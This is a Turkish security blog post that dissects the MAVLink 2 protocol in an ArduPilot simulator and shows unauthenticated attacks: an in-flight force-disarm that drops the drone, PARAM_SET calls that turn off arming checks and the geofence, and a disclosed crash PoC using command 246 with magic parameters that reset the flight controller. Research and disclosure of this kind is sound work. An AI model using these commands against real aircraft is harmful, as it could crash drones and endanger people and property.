El Kirletme Vakti
Giriş yazısında haritayı çıkardık: aviyonik nedir, neden farklı bir iş ve bir İHA'nın içinde ne var. Konuşmak güzeldi ama bir noktadan sonra insanın elini bir şeye sürmesi lazım. Bu yazıda bir İHA'yı bilgisayarımda uçuracağım. Ama asıl mesele uçurmak değil; bizi o araca bağlayan dili, MAVLink'i, gerçekten anlamak. Çünkü onu anlarsan hem uçurabilir hem de düşürebilirsin. Ha, bu arada: ortada gerçek bir İHA yok, bütün bu işi kendi bilgisayarımdaki bir simülasyonda yapıyorum.
Gerçek bir İHA olmadan onu nasıl uçuruyorum? SITL ile. Açılımı "Software In The Loop", yani "döngüdeki yazılım". Gerçek uçuş kontrolcüsünde koşan otopilot yazılımının (ArduPilot) tıpatıp aynısını, donanım yerine bir fizik simülasyonuna bağlayıp çalıştırıyorsun. Otopilot gerçekten bir araç sürdüğünü sanır: sensörleri okur, motorlarına komut verir, yere telemetri yollar. Tek fark, havada gerçek bir aracın olmaması. Öğrenmek ve kırmak için bundan iyisi yok, çünkü en kötü ihtimalle simülasyon çöker, o kadar.
SITL'i Kurmak
SITL'i kurmanın birkaç yolu var ama ben Docker'la gittim, çünkü makineyi kirletmeden, her şeyi tek bir yerde derleyip tekrar tekrar kullanmak en temizi. Önce ArduPilot'un resmi geliştirme imajını çekip kaynağı derlemek için bir volume açıyorum:
$ docker pull ardupilot/ardupilot-dev-base $ docker volume create ardupilot_src
Sonra imajın içinde ArduPilot'u klonlayıp ArduCopter'ı SITL hedefi için derliyorum. Burada ilk duvara tosladım, dürüstçe yazıyorum çünkü sen de toslayabilirsin: ArduPilot'un güncel master dalı Python 3.9 istiyor, kullandığım imajda 3.8 vardı ve configure daha en baştan reddetti. Çözüm, bu imajla uyumlu stabil bir sürüme geçmek oldu: Copter-4.5.
$ docker run --rm -v ardupilot_src:/ardupilot ardupilot/ardupilot-dev-base bash -lc ' git config --global --add safe.directory /ardupilot cd /ardupilot git clone https://github.com/ArduPilot/ardupilot . git checkout Copter-4.5 git submodule update --init --recursive ./waf configure --board sitl ./waf copter' ... 'copter' finished successfully (2m23s) -rwxr-xr-x build/sitl/bin/arducopter
Bende copter'ın saf derlemesi 2.5 dakika sürdü. Elimizde artık çalışan bir arducopter ikilisi var. Çalıştırıyorum, home konumunu İstanbul yaptım:
$ docker run --rm -p 5760:5760 -v ardupilot_src:/ardupilot \ ardupilot/ardupilot-dev-base bash -lc 'cd /ardupilot && \ ./build/sitl/bin/arducopter -M + --speedup 1 \ --defaults Tools/autotest/default_params/copter.parm \ -O 41.015137,28.979530,100,0' ... Home: 41.015137 28.979530 alt=100.00m bind port 5760 for SERIAL0 SERIAL0 on TCP port 5760 Waiting for connection ....
SITL ayakta, TCP 5760'ta bağlantı bekliyor. -p 5760:5760 ile bu portu bilgisayarıma açtım.
Bağlandım, Eline Ne Geçiyor?
Araçla konuşmak için pymavlink kullanacağım, ArduPilot ekosisteminin de kullandığı Python kütüphanesi. Bağlanıp araçtan düşen ilk paketi olduğu gibi, ham olarak yakaladım:
>>> from pymavlink import mavutil >>> m = mavutil.mavlink_connection("tcp:127.0.0.1:5760") >>> msg = m.recv_match(blocking=True) >>> msg.get_msgbuf().hex()
Eline ne geçti dersin? Şu, 21 bayt (okunsun diye araları boşladım):
fd 09 00 00 f8 01 01 00 00 00 04 00 00 00 02 03 59 03 03 fc cf
İlk gördüğümde benim de gözüm boş boş baktı, ve bu gayet normal. Çünkü karşımdaki şey makineler için tasarlanmış ikili bir protokol, insan okusun diye değil. Adı MAVLink ve bu yazı boyunca araçla aramda konuşulan tek dil bu olacak. O yüzden önce onun ne olduğunu çözmem lazımdı; sonra dönüp bu baytları açacağım.
MAVLink: Bu Ne?
MAVLink (Micro Air Vehicle Link), hafif, mesaj tabanlı bir haberleşme protokolü. 2009'da Lorenz Meier'in (ETH Zürich) ortaya attığı bu protokol, açık kaynak otopilot dünyasının fiili standardı: ArduPilot, PX4 ve yaygın yer kontrol istasyonları (Mission Planner, QGroundControl) MAVLink'i ya da bir türevini konuşuyor. Bazı ticari sistemler de türevlerini kullanıyor, ama DJI gibi kapalı protokol kullanan üreticiler bunun dışında.
Neden bu kadar minimal? Çünkü doğduğu yer, dar bantlı ve zayıf telemetri radyolarıydı. Saniyede kilobitlerle çalışan bir bağ üzerinde her bayt değerli. O yüzden MAVLink insan-okur bir JSON değil; cimri, ikili (binary) bir protokol. Her mesaj minik bir zarf: gereksiz tek bayt yok.
Mantığı tamamen mesaj odaklı. Araç durumunu HEARTBEAT ile duyurur, açısını ATTITUDE ile, konumunu GLOBAL_POSITION_INT ile yollar; sen ona COMMAND_LONG ile emir verirsin. Her mesaj tipinin bir numarası (message id) ve sabit bir alan şeması var. İki uç da aynı şemayı bildiği için, gelen baytları doğru alanlara oturtabiliyor.
v1 ve v2 farkı
Az önce yakaladığımız paket 0xFD ile başlıyordu, bu MAVLink 2.0 demek. Eski sürüm 0xFE ile başlardı. v2'nin getirdikleri güvenlik açısından da önemli:
- 24-bit mesaj ID: v1'de mesaj ID 8 bitti, yani sadece 256 mesaj tipi sığıyordu. v2'de 24 bit, yani 16 milyondan fazla. Alan bollaştı.
- Payload kırpma (truncation): v2, payload'un sonundaki sıfır baytları gönderirken kırpar. Boşa bayt harcamaz, dar bantta kazanç.
- Mesaj uzatmaları (extensions): eski mesajlara, eski uçları bozmadan yeni alanlar eklenebilir.
- İmzalama (signing): v2 isteğe bağlı mesaj imzalama sunar. Bunu yazının sonunda konuşacağız, çünkü tam da bizim sömüreceğimiz boşlukla ilgili.
ArduPilot bugün varsayılan olarak v2 konuşuyor; paketimizdeki 0xFD bunu doğruluyor.
Çevirmek için bir script yazdım
Peki o baytları okunur hale nasıl getiririm? Çözmem lazım, ve her seferinde elle bayt saymak işkence. Biraz araştırdım, pymavlink'in kendi örneklerinden yola çıkıp basit bir script yazdım (sıfırdan icat etmedim). Tam hali repomda, kopyalayıp çalıştırabilirsin: github.com/Mucahic/mavlink-sitl-lab. Script ne yapıyor: bağlanıyor, gelen mesajı çözüyor, okunur biçimde basıyor. Az önceki o anlamsız 21 bayt, script'ten geçince şuna dönüşüyor:
[*] Baglaniliyor: tcp:127.0.0.1:5760 [+] HEARTBEAT alindi sys=1 comp=1 arac tipi : MAV_TYPE_QUADROTOR otopilot : MAV_AUTOPILOT_ARDUPILOTMEGA sis durum : MAV_STATE_STANDBY MAVLink : v3
İlk çıktıyı görünce bir saniye durdum: en altta "MAVLink: v3" yazıyordu. Ama az önce paketin ilk baytının 0xFD, yani MAVLink 2 olduğunu söylemiştim. v3 de nereden çıktı, üçüncü bir sürüm mü var? Önce kendi script'imde hata yaptım sandım, sonra kurcalamaya başladım. Çıkan şey şu: o satır protokolün sürümü (v1/v2) değil; HEARTBEAT mesajının içindeki mavlink_version alanı, ve bu alan yıllardır 3. Yani "MAVLink 1 mi 2 mi" sorusuyla hiçbir ilgisi yok. Sürümü belirleyen tek şey paketin ilk baytı: 0xFD ise MAVLink 2 (bizimki bu), 0xFE olsaydı MAVLink 1. Sürüm alanı ne derse desin, araç MAVLink 2 konuşuyor.
Peki neden tam 3? Merak edip kaynağa indim. MAVLink'in bütün mesajları common.xml denen bir sözlükte tanımlı ve o dosyanın başında sözlüğün sürümü yazıyor. ArduPilot'un içindeki dosyaya baktım:
$ grep '<version>' modules/mavlink/message_definitions/v1.0/common.xml <version>3</version> $ grep -r 'define MAVLINK_VERSION' modules/mavlink/ #define MAVLINK_VERSION 3
İşte o "3" buradan geliyor: mesaj sözlüğünün ilan edilmiş sürümü. Kod üreticisi bunu MAVLINK_VERSION = 3 sabitine çeviriyor, kütüphane de her HEARTBEAT'te bu sabiti otomatik basıyor. Yıllardır 3 ve kimse artırmıyor. Yani isimleri benzediği için karışan iki ayrı "sürüm" var: biri paketin biçimi (v1/v2, ilk bayt), diğeri mesaj sözlüğünün damgası (hep 3).
Şu Türkçe etiketler ("arac tipi" gibi) benden, MAV_TYPE_QUADROTOR gibi isimler ise MAVLink'in kendi sözlüğünden. Tek mesajdan bile çok şey çıktı: karşımda dört rotorlu bir araç var, beyni ArduPilot, durumu aktif, ve hiçbir parola sormadan kendini anlattı. Ama script'in bunu nasıl yaptığını, o baytların tam ne dediğini görmeden hepsi biraz sihir gibi. Gel, elimizle açalım.
Byte Byte Sökmek
Bunu nereden biliyorum diye sormak isteyebilirsin: çerçeve yapısı ve alan sıralama kuralının tamamı MAVLink'in resmi dev sayfasında (mavlink.io/en/guide/serialization) tek tek yazıyor. Ben de tam oradan derledim, bu kısmı yazarken iki sekme yan yana açıktı.
MAVLink 2 çerçevesi şöyle diziliyor; baştaki o 21 baytı zarfına ve içeriğine ayırıyoruz:
fd magic / STX -> MAVLink 2.0 (v1 olsaydi 0xfe) 09 payload uzunlugu -> 9 bayt 00 incompat_flags -> 0 = imzasiz (0x01 olsa imzali olurdu) 00 compat_flags f8 seq -> 248 (her pakette bir artar, kayip tespiti) 01 sysid -> 1 (gonderen sistem: arac) 01 compid -> 1 (gonderen bilesen: otopilot) 00 00 00 msgid (24-bit LE) -> 0 = HEARTBEAT 04 00 .. 03 payload -> 9 bayt (asagida) fc cf CRC (16-bit LE) -> 0xCFFC
Birkaç noktanın altını çizeyim. seq her pakette bir artıyor; iki uç bunu izleyerek paket kaybını anlıyor. sysid ve compid mesajın kimden geldiğini söyler: bir araçta birden çok bileşen olabilir (otopilot, kamera, gimbal), her biri ayrı compid taşır. msgid 24 bit ve küçük-endian (little-endian), yani 00 00 00 sayısı sıfır, bu da HEARTBEAT'in numarası.
CRC ve crc_extra: şema parmak izi (güvenlik değil)
Sondaki iki bayt (fc cf) bir CRC, paketin yolda bozulmadığını doğruluyor. Ama MAVLink'in burada zekice bir ek hilesi var: crc_extra. Her mesaj tipinin, kendi şema tanımından türetilen bir sabiti var (HEARTBEAT için bu sabit 50). Bu sabit, CRC hesabının içine karıştırılıyor. Sonuç şu: iki uç farklı mesaj tanımı kullanıyorsa (farklı MAVLink sürümü ya da farklı dialect), CRC tutmaz ve paket sessizce çöpe gider. Yani crc_extra, "ikimiz aynı sözlüğü mü konuşuyoruz" diye soran bir tür parmak izi. Burada bir yanılgıya düşmemek lazım: bu bir güvenlik önlemi değil. crc_extra gizli bir anahtar değil, mesaj tanımından (XML) herkesin hesaplayabildiği sabit bir değer; pymavlink dahil her MAVLink kütüphanesi doğru crc_extra'yı zaten otomatik üretir. Yani sahte paket atmak isteyen birini durdurmaz, sadece yanlış sürüm/dialect kullananı durdurur. Birazdan göreceğimiz sahte MISSION_ITEM_INT enjeksiyonu da tam bu yüzden mümkün: saldırganın elindeki standart dialect doğru crc_extra'yı zaten biliyor.
Mesajlar nereden tanımlı: dialect'ler
Peki bu mesaj şemaları nereden geliyor? MAVLink mesajları XML dosyalarında tanımlı. common.xml herkesin ortak sözlüğü; ardupilotmega.xml ise ArduPilot'a özel ek mesajları içeriyor. Bu XML'lerden her dil için (Python, C, C++) kod üretiliyor, pymavlink'in tanıdığı mesajlar da buradan geliyor. Birkaç örnek: HEARTBEAT = 0, ATTITUDE = 30, GLOBAL_POSITION_INT = 33, COMMAND_LONG = 76. Bir hedefin hangi dialect'i konuştuğunu bilmek, onunla hangi dilde konuşabileceğini bilmek demek.
Payload'u çözmek
Geriye 9 baytlık payload kaldı: 04 00 00 00 02 03 59 03 03. MAVLink'in kritik bir kuralı var: alanlar wire üstünde tanım sırasına göre değil, boyuta göre büyükten küçüğe dizilir (önce 4 baytlıklar, sonra 2, sonra 1 baytlıklar). Bunu bilmezsen payload'u yanlış çözersin. HEARTBEAT için:
04 00 00 00 custom_mode (uint32 LE) = 4 02 type = 2 -> MAV_TYPE_QUADROTOR 03 autopilot = 3 -> ARDUPILOTMEGA 59 base_mode = 0x59 03 system_status = 3 -> MAV_STATE_STANDBY 03 mavlink_version = 3
Şu base_mode = 0x59 baytı tek başına bir hazine. Bitlere açalım, 0x59 = 0101 1001: custom mode açık, GUIDED, STABILIZE ve MANUAL_INPUT bitleri set. Ama en üstteki bit, yani 0x80 olan SAFETY_ARMED, sıfır. Demek ki araç bu anda disarmed, motorları kilitli. Aracın "silahlı mı" olduğu işte bu tek bitte yazıyor. Bu biti okuyan, aracın armed olup olmadığını anlar. Bu biti değiştiren bir komut gönderen ise aracı uçurabilir ya da düşürebilir. Birazdan ikisini de yapacağız.
İlk Uçuş: Komut Tarafı
Şimdiye kadar sadece dinledik. Sıra MAVLink'in komut tarafına geldi. Araca emir vermenin yolu çoğunlukla COMMAND_LONG mesajı: içine bir komut ID'si ve yedi parametre koyuyorsun. Arm/disarm için MAV_CMD_COMPONENT_ARM_DISARM (komut 400), kalkış için MAV_CMD_NAV_TAKEOFF (komut 22).
Yine dürüst bir not: ilk arm denemem reddedildi, motorlar dönmedi. Peki sorun neydi? MAVLink'te otopilotun yer istasyonuna metin mesajı yolladığı bir tip var: STATUSTEXT. Script'e bunu da dinleten bir satır ekleyince araç sebebini bana kendi söyledi:
[STATUSTEXT] Arm: Need Position Estimate [STATUSTEXT] EKF3 IMU0 origin set [STATUSTEXT] Field Elevation Set: 100m
Need Position Estimate diyor. GPS 3D kilit vardı ama EKF (Extended Kalman Filter: IMU, GPS, barometre ve pusulayı birleştirip aracın konum/hız/yönelimini tahmin eden filtre) konum tahminini henüz oturtmamıştı; bir alttaki EKF3 IMU0 origin set satırı tam onun oturduğu anı gösteriyor. Arm'ı birkaç saniye arayla tekrar deneyince geçti. Pre-arm denetimlerini simülasyonda geçmek için ArduPilot'un force-arm sihirli değerini (param2 = 21196) de kullandım. Sonra 20 metre kalkış, ve araç tırmandı:
[+] ARMED. TAKEOFF 20m
yukseklik= 0.0m dikey_hiz=+0.0m/s
yukseklik= 2.6m dikey_hiz=+2.2m/s
yukseklik= 5.2m dikey_hiz=+2.5m/s
yukseklik= 8.9m dikey_hiz=+2.4m/s
yukseklik= 12.6m dikey_hiz=+2.4m/s
yukseklik= 16.2m dikey_hiz=+2.0m/s
yukseklik= 18.7m dikey_hiz=+1.2m/s
yukseklik= 20.0m dikey_hiz=+0.0m/s
Birkaç MAVLink mesajı, ve araç 20 metrede asılı kaldı. O base_mode baytındaki armed biti artık 1.
Sadece Heartbeat Değil: Görev ve Parametre Protokolleri
Şimdiye kadar tek bir mesaj tipini (HEARTBEAT) söktük ve bir COMMAND_LONG ile aracı havalandırdık. Ama MAVLink'in asıl gücü çok-mesajlı diyaloglarda gizli. Bir görev yüklemek ya da bir parametre değiştirmek, tek bir paket göndermekle olmuyor; iki uç arasında küçük bir dans dönüyor. İkisinin akışını gerçekten görmen önemli, çünkü buradaki sıralama anlaşılmazsa bir saldırgan görev paketini araya nereye sıkıştırır ya da hangi parametreyi değiştirip pre-arm kontrollerini sessizce kapatır kestirilemez.
Görev Yüklemek: Üç Mesajlık El Sıkışma
Bir görev yer kontrol istasyonundan araca atılırken, bütün waypoint'leri tek bir dev paketle yollamıyorsun. Akış şöyle yürüyor:
- GCS, araca
MISSION_COUNTyollar: "Sana üç waypoint yollayacağım." - Araç sırayla
MISSION_REQUESTatar: "Bir, ikincisini, üçüncüsünü ver." - GCS her isteğe
MISSION_ITEM_INTile cevaplar: ilgili waypoint'in lat/lng/alt'ı. - Sonunda araç
MISSION_ACKile kapanışı yapar.
Bunu kendi script'imle SITL üzerinde çalıştırdım, İstanbul üzerinde üç waypoint'lik küçük bir görev attım. Yakalanan akış aynen şu:
$ python3 mission_upload.py [+] baglanildi sys=1 [*] MISSION_CLEAR_ALL once << MISSION_ACK type=0 [1] >> MISSION_COUNT count=3 [2] << MISSION_REQUEST seq=0 >> MISSION_ITEM_INT seq=0 41.015137, 28.97953, 50m [3] << MISSION_REQUEST seq=1 >> MISSION_ITEM_INT seq=1 41.020000, 28.98500, 80m [4] << MISSION_REQUEST seq=2 >> MISSION_ITEM_INT seq=2 41.025000, 28.99000, 50m [FIN] << MISSION_ACK ACCEPTED
Saldırgan kafasıyla bakınca dikkat çeken birkaç şey var. Birincisi, görev yüklemesi yetkili olduğunu varsaydığın bir GCS açısından bakıldığında tamamen state'li bir diyalog: araç "kim olsa bana waypoint yollayan, bu görevin sahibidir" der ve gelen MISSION_ITEM_INT'leri kabul eder. İmzalama yoksa, başlamış bir görev yüklemesinin arasına sahte bir MISSION_ITEM_INT sıkıştırmak mümkün. İkincisi, son MISSION_ACK yalnızca "alındı" demek; aracın bunu uygulamak için ekstra bir komut beklediği yok, AUTO moduna geçilirse görev anında çalışmaya başlar. Görevi değiştirmek bir saldırgan için "drone'u kontrol etmek" demek; bunu da imzasız bir kanaldan yapmak son derece kolay.
Parametre Tarafı: Aracın Beyninin Ayar Düğmeleri
ArduPilot'un içinde 1400'den fazla parametre var. ARMING_CHECK hangi pre-arm denetimlerinin yapılacağını, FENCE_ENABLE sanal sınırı, FS_THR_ENABLE failsafe davranışını söyler. Bu parametrelerin hepsi MAVLink üzerinden okunup yazılabilir. Akış HEARTBEAT'ten bile sade:
$ python3 param_protocol.py [+] baglanildi sys=1 [1] >> PARAM_REQUEST_READ name=ARMING_CHECK [2] << PARAM_VALUE id=ARMING_CHECK value=1.0 type=6 (1/1403) [3] >> PARAM_SET name=ARMING_CHECK value=0 [4] << PARAM_VALUE (onay) id=ARMING_CHECK value=0.0 [5] >> PARAM_SET ARMING_CHECK geri eskiye [6] << PARAM_VALUE (geri) id=ARMING_CHECK value=1.0
Bir parametre okuduğunda araç PARAM_VALUE ile cevap veriyor; içinde adı, değeri, tipi ve toplam parametre sayısının kaçıncısı olduğu var (yukarıda 1/1403). Yazdığında ise PARAM_SET attıktan sonra araç değişiklik uygulanmış halini PARAM_VALUE ile geri yolluyor (onay). Tek paketlik bir alışveriş.
Sade görünüyor ama etki büyük. ARMING_CHECK = 0 attığında araç pre-arm denetimlerini atlar; GPS olmasa, batarya az olsa, jiroskop kalibresiz olsa bile arm olur. FENCE_ENABLE = 0 sanal sınırı kapatır; aracın "bu noktadan ileri uçma" güvencesi gider. Bunlar saldırgan için silahları açmadan önce çıtayı düşürme yöntemleri: hem arm'ı kolaylaştırır, hem aracın kendi savunma reflekslerini söker. Hepsi de imzasız kanaldan, tek bir PARAM_SET ile.
Operatör Gözüyle: Mission Planner
Ben terminalden konuşurken gerçek bir operatör ne görür? Aynı SITL'e bir yer kontrol istasyonu olan Mission Planner'ı bağladım (TCP, 127.0.0.1, 5760):
Suni ufuk ARMED diyor, irtifa 20 metre, harita İstanbul. Şık bir operatör ekranı. Ama şunu fark et: Mission Planner da benim üç satırlık pymavlink script'imle aynı dili konuşuyor, yani MAVLink. Az önce byte byte söktüğümüz o paketler, perde arkasında bu ekranı besleyen şey. GCS dediğimiz program, MAVLink'in üstüne giydirilmiş güzel bir arayüzden ibaret. Operatör butona basar, altta bir COMMAND_LONG gider; tıpkı benimki gibi.
Aynı Kanaldan Düşürmek
Aracı havalandıran komutu ben gönderdim. Aynı kanaldan, aynı şekilde, hiçbir engelle karşılaşmadan onu düşürebilir miyim? Kimse parola istemiyor, kimse imza sormuyor. Araç 20 metrede asılıyken pymavlink ile tek bir mesaj daha yolladım: havada disarm, motorları kes.
[+] 20m'de, asili. Simdi: kimlik dogrulamasiz force-disarm. [>] DISARM gonderildi (param1=0, force=21196) yukseklik= 19.5m dikey_hiz=-0.1m/s yukseklik= 19.1m dikey_hiz=-3.0m/s yukseklik= 17.7m dikey_hiz=-5.8m/s yukseklik= 14.8m dikey_hiz=-8.9m/s yukseklik= 11.8m dikey_hiz=-10.8m/s yukseklik= 8.3m dikey_hiz=-12.3m/s yukseklik= 4.3m dikey_hiz=-13.4m/s yukseklik= 1.5m dikey_hiz=-14.0m/s yukseklik= -0.1m dikey_hiz=+1.7m/s [*] Arac yerde. Motorlar kesildi, kimse parola sormadi.
Motorlar kesildi, araç serbest düştü, dikey hızı saniyede 14 metreye çıktı ve yere çakıldı. İki saniye. En önemli kısım: kimse bana kimsin diye sormadı, parola istemedi. Klasik haliyle MAVLink kimlik doğrulamasız ve şifresizdir. Aracın yazılımı, gelen komutun yetkili birinden gelip gelmediğini bilmez; geçerli bir MAVLink mesajı gördü mü uygular.
Kafanda şu soru olabilir: "Madem MAVLink 2 kullanıyorduk, bu dronu nasıl düşürdük?" Cevap önemli: MAVLink 2 olması tek başına hiçbir koruma getirmez. v2, eski v1'in sadece daha yeni paket biçimi; varsayılan halinde o da kimlik doğrulamasızdır, yani komut enjekte etmeye sonuna kadar açıktır. v2'yi güvenli yapabilecek tek özellik imzalamadır (signing): açık olsaydı paketin başındaki incompat_flags biti 0x01 olur, paketin sonuna 13 baytlık bir imza bloğu (link_id + timestamp + 48-bitlik SHA-256 imzası) eklenir ve anahtarı bilmeyenin ürettiği paket reddedilirdi.
Ama bizim paketimizde o bayt 0x00'dı: imzalama kapalı (sahada çoğu kurulumda da kapalı gelir). İşte tam bu yüzden uydurduğum disarm paketi sorgusuz kabul edildi ve araç düştü. Yani bizi durduran "MAVLink 2" değildi, hiçbir şeydi. İmzalama açık olsaydı paketim imzasız diye çöpe giderdi; değildi.
Son bir dürüstlük: bu denemede ben aracın TCP portuna doğrudan bağlıydım, yani zaten "içerideydim". Asıl soru şu: gerçek hayatta bu kanala dışarıdan, araya girerek nasıl ulaşılır? Operatör hiçbir şeyin farkında değilken komut kim, nereye sıkıştırır? Serinin asıl eti buradan sonra başlıyor.
İmzalama: Olabilecek En İyi Savunma ve Pratik Sınırları
Az önce aracı düşürdüğümüzde söz vermiştim: "imzalama açık olsa bu paket çöpe giderdi" demiştik. Şimdi o silahın gerçekten ne yaptığına ve sahada neden çoğu kullanıcıya yetmediğine bakalım.
İmzalı paket ile imzasız paket arasındaki fark
Aynı HEARTBEAT mesajını, önce kapalı sonra açık imzalamayla aynı script'le ürettim ve hex çıktılarını yan yana koydum. Aradaki fark çıplak gözle bile görülüyor:
[1] IMZASIZ HEARTBEAT (21 bayt) hex: fd 09 00 00 ff be 00 00 00 00 04 00 00 00 02 03 59 03 03 3d 48 incompat_flags (3. bayt): 0x00 -> 0 = imzasiz [2] IMZALI HEARTBEAT (34 bayt) hex: fd 09 01 00 ff be 00 00 00 00 04 00 00 00 02 03 59 03 03 da b0 00 6d b9 63 5c e8 a1 39 a7 ec 24 e4 07 incompat_flags: 0x01 -> imzali! [3] IMZALIDA EK 13 BAYT: link_id (1 bayt): 00 timestamp (6 bayt): 6d b9 63 5c e8 a1 (10 us = 1/100 ms birimleri) SHA-256 (6 bayt): 39 a7 ec 24 e4 07 (ilk 48 bit)
İki tane somut değişiklik var. Birincisi: incompat_flags baytı (paketin başındaki 3'üncü bayt) 0x00 yerine 0x01 oluyor. Bu, alıcıya "ben imzalıyım, kontrol et" diyen bir bayrak. İkincisi: paketin sonuna 13 baytlık bir kuyruk ekleniyor. Bu kuyruk üç parça: 1 bayt link_id (aynı araca farklı kanallardan bağlanıldığında çakışmasın diye), 6 bayt timestamp (1/100 ms birimiyle, replay'i engellemek için), ve 6 bayt asıl imza (SHA-256'nın ilk 48 bitine kesilmiş).
İmza nasıl üretiliyor? Dikkat, bu bir HMAC değil. Gönderici, 32 baytlık paylaşılan gizli anahtarı paketin baytlarının (header + payload + CRC + link_id + timestamp) önüne ekliyor ve bütününün düz SHA-256'sını alıyor, sonra çıkan 256 bitin ilk 48'ini paketin sonuna koyuyor. Alıcı aynı hesabı kendi anahtarıyla yapıp tutuyor mu diye karşılaştırıyor. Anahtarı bilmeyen biri için doğru imza üretmek pratikte mümkün değil; tutmayan paket sessizce çöpe gidiyor. Yan not: bu anahtar-önekli (secret-prefix) SHA-256 kurgusu, HMAC'e göre teorik olarak daha zayıftır; MAVLink'in sabit uzunluklu mesaj biçimi pratikte istismarı zorlaştırsa da, yeni tasarlanan bir protokolde burada HMAC görmeyi beklerdim.
Bu kâğıt üstünde temiz bir savunma: kimlik doğrulama, paket bütünlüğü ve timestamp sayesinde replay koruması. MAVLink 2 ile birlikte gelen tek gerçek güvenlik özelliği bu. Soru şu: o zaman herkes neden açmıyor?
Sahada kapalı gelen bir özellik
Birinci sebep tamamen ergonomi: imzalamayı açabilmek için aynı 32 baytlık anahtarı hem araca hem her bir yer kontrol istasyonuna manuel olarak girmek gerekiyor. Anahtarın paylaşılma yolu da kullanıcının kendi başının çaresine bakması: çoğu rehber "bir parola gir, ondan hash al, hem GCS'ye hem araca yaz" diyor. Bir operatör için bu ek bir adım, bir saha ekibi için de yedek GCS'lere de aynı şeyi taşıması demek. Sonuç: ArduPilot ve PX4 ikisi de varsayılan olarak imzalamayı kapalı getiriyor. Hobi kullanıcısının da kurumsal kullanıcının da büyük çoğunluğu sahada bunu hiç açmıyor.
Ve kapalı olması sadece "komut enjekte edilebilir" demek değil. Bu boşluğu kurcalarken, imzasız tek bir paketle uçuş bilgisayarının kendisini çökertebildiğim, ArduPilot'a bildirdiğim somut bir zafiyete denk geldim; bunu paylaşmadan geçmek olmazdı.
Bildirdiğim zafiyet: imzasız tek paketle FCU'yu çökertmek
İmzalamanın varsayılan kapalı gelmesi teorik bir risk değil, somut bir kapı. SITL'i kurcalarken ArduPilot kaynağında geliştirici testleri için yazılmış bir grup "kasıtlı çökertme" yoluna denk geldim. Sorun şu: bu yolları derleyen AP_MAVLINK_FAILURE_CREATION_ENABLED makrosu libraries/GCS_MAVLink/GCS_config.h içinde varsayılan 1 ve ağaçtaki hiçbir hwdef bunu kapatmıyor. Yani Pixhawk, CubeOrange, MatekH743 gibi gerçek kartların production firmware'ına da giriyor.
Bu yollara MAV_CMD_PREFLIGHT_REBOOT_SHUTDOWN (komut 246) ile ulaşılıyor. Sihirli önek param1=42, param2=24, param3=71 verilince param4 bir switch açıyor ve her değeri ayrı bir çökertme primitifi:
param4=93 ana thread'de sonsuz dongu -> watchdog reset param4=94 0xE000ED38'e fonksiyon-isaretci -> HardFault param4=95 AP_HAL::panic("panicing") param4=96 parametre deposu basligini siler (40 bayt) param4=97 250 ms+ kasitli uzun dongu
Bu primitifleri kapıda tutan hiçbir kontrol yok: arm denetimi yok (uçarken de çalışırlar), imza zorunluluğu yok (zaten varsayılan kapalı), SYSID_ENFORCE yok, kullanıcıyı uyaran bir doküman da yok. Yani FCU'ya MAVLink yollayabilen herkes tetikleyebiliyor. PoC, byte byte söktüğümüz aynı protokolden tek bir komut:
>>> m.mav.command_long_send( m.target_system, 1, 246, # MAV_CMD_PREFLIGHT_REBOOT_SHUTDOWN 0, 42, 24, 71, 94, # sihirli onek + null-deref primitifi 0, 0, 0) [x] arducopter process aninda exit (segfault) [*] Docker SITL'de PID 1 oldu, konteyner kapandi.
SITL'de süreç anında çöküyor. Gerçek donanımda (Cortex-M tabanlı FCU) param4=94'ün çağırdığı 0xE000ED38 bir kod adresi değil, işlemcinin debug register'ı (DHCSR); oraya fonksiyonmuş gibi atlamak HardFault doğurur, bağımsız watchdog otopilotu resetler. Yerde dert değil ama havadayken reset süresince motor kontrolü gider. Bunu PX4'teki iki bilinen zafiyetle aynı sınıfa koydum: CVE-2026-1579 (kimlik doğrulamasız MAVLink shell) ve CVE-2026-32724 (SERIAL_CONTROL use-after-free). Fark, buradakinin bir bellek bozulması bug'ı değil, bile bile kablolanmış bir çökertme yolu olması.
Bunu ArduPilot'a açık issue olarak bildirdim: #33253. Önerdiğim asgari düzeltme, makroyu yalnızca SITL'de açık bırakmaktı (CONFIG_HAL_BOARD == HAL_BOARD_SITL), ki test yolları gerçek kartlara hiç girmesin. Ekibin duruşu net oldu: bunu bir güvenlik açığı saymadılar. Define'ı oluşturan peterbarker, geliştirme build'lerinin production'a olabildiğince benzemesi gerektiğini öne sürdü ve durumu "güvenlik sorunu değil, ortalıkta bırakılmış büyük bir footgun" diye çerçeveledi; issue "not planned" olarak kapandı, varsayılan değişmedi. Yine de boşa gitmedi: issue peterbarker'ı PR #33255'i açmaya itti ve bu failure-injection kodunu kendi custom build'inde tamamen söküp atmak isteyene bir build seçeneği eklendi (5 Haziran 2026'da merge). Yani varsayılan hâlâ açık, sadece artık isteyen derlerken çıkarabiliyor. Dürüst bir teknik not da ekipten geldi: define'ı kapatmak normal reboot komutunu engellemiyor, yalnızca param4'ün açtığı o kasıtlı çökertme primitiflerini devreden çıkarıyor.
Sonuç olarak burada öğrenilecek üç şey var. Bir, MAVLink 2 imzalaması iyi tasarlanmış bir savunma ve aktif olduğunda gerçekten paketleri reddediyor. İki, varsayılan olarak kapalı; sahada açık olduğunu görmek istisnadır. Üç, imzalama kapalıyken FCU'ya MAVLink ulaştırabilen biri sadece aracı uçurup düşürmekle kalmıyor; firmware'a gömülü böyle bir çökertme yoluyla onu komple resetleyebiliyor da. Datalink'i imzasız bırakmanın bedeli işte bu kadar somut.
Bundan Sonrası
Bu yazıda otopilotun beynine giden o açık kanaldan geçtik. MAVLink'i baytlarına kadar açtık, çok-mesajlı diyaloglarını gördük, bir aracı havalandırıp aynı yoldan düşürdük, savunma diye geriye kalan tek özelliği (imzalama) hem nasıl çalıştığını hem de pratikte nerede çatladığını çıkardık. Datalink tarafıyla işimiz bu kadar bitti diyebilir miyim? Tamamen değil, ama bir taşı yerine oturttuk: bundan sonra "araç MAVLink üzerinden ne yapıyor, hangi mesaj neye yarıyor, imzalama ne kadar tutuyor" sorularına net cevap verebiliyoruz.
İlerleyen yazılarda datalink'in dışına çıkıp aracın sensörlerine bakmayı düşünüyorum. Komut göndermek bir yol, ama aracı kandırmanın daha sinsi yolu ona ne ölçtüğünü yalan söylemek olabilir. Henüz net bir sıra ya da konu sözü vermiyorum; nereye bakacağım kurcaladıkça belli olacak.
Zaman ayırıp okuduğun için teşekkürler, hatalarımı paylaşırsan seve seve ders çıkarırım :)
// RAPOR SONU, MUCAHIC / OP-0042 / 2026.06.10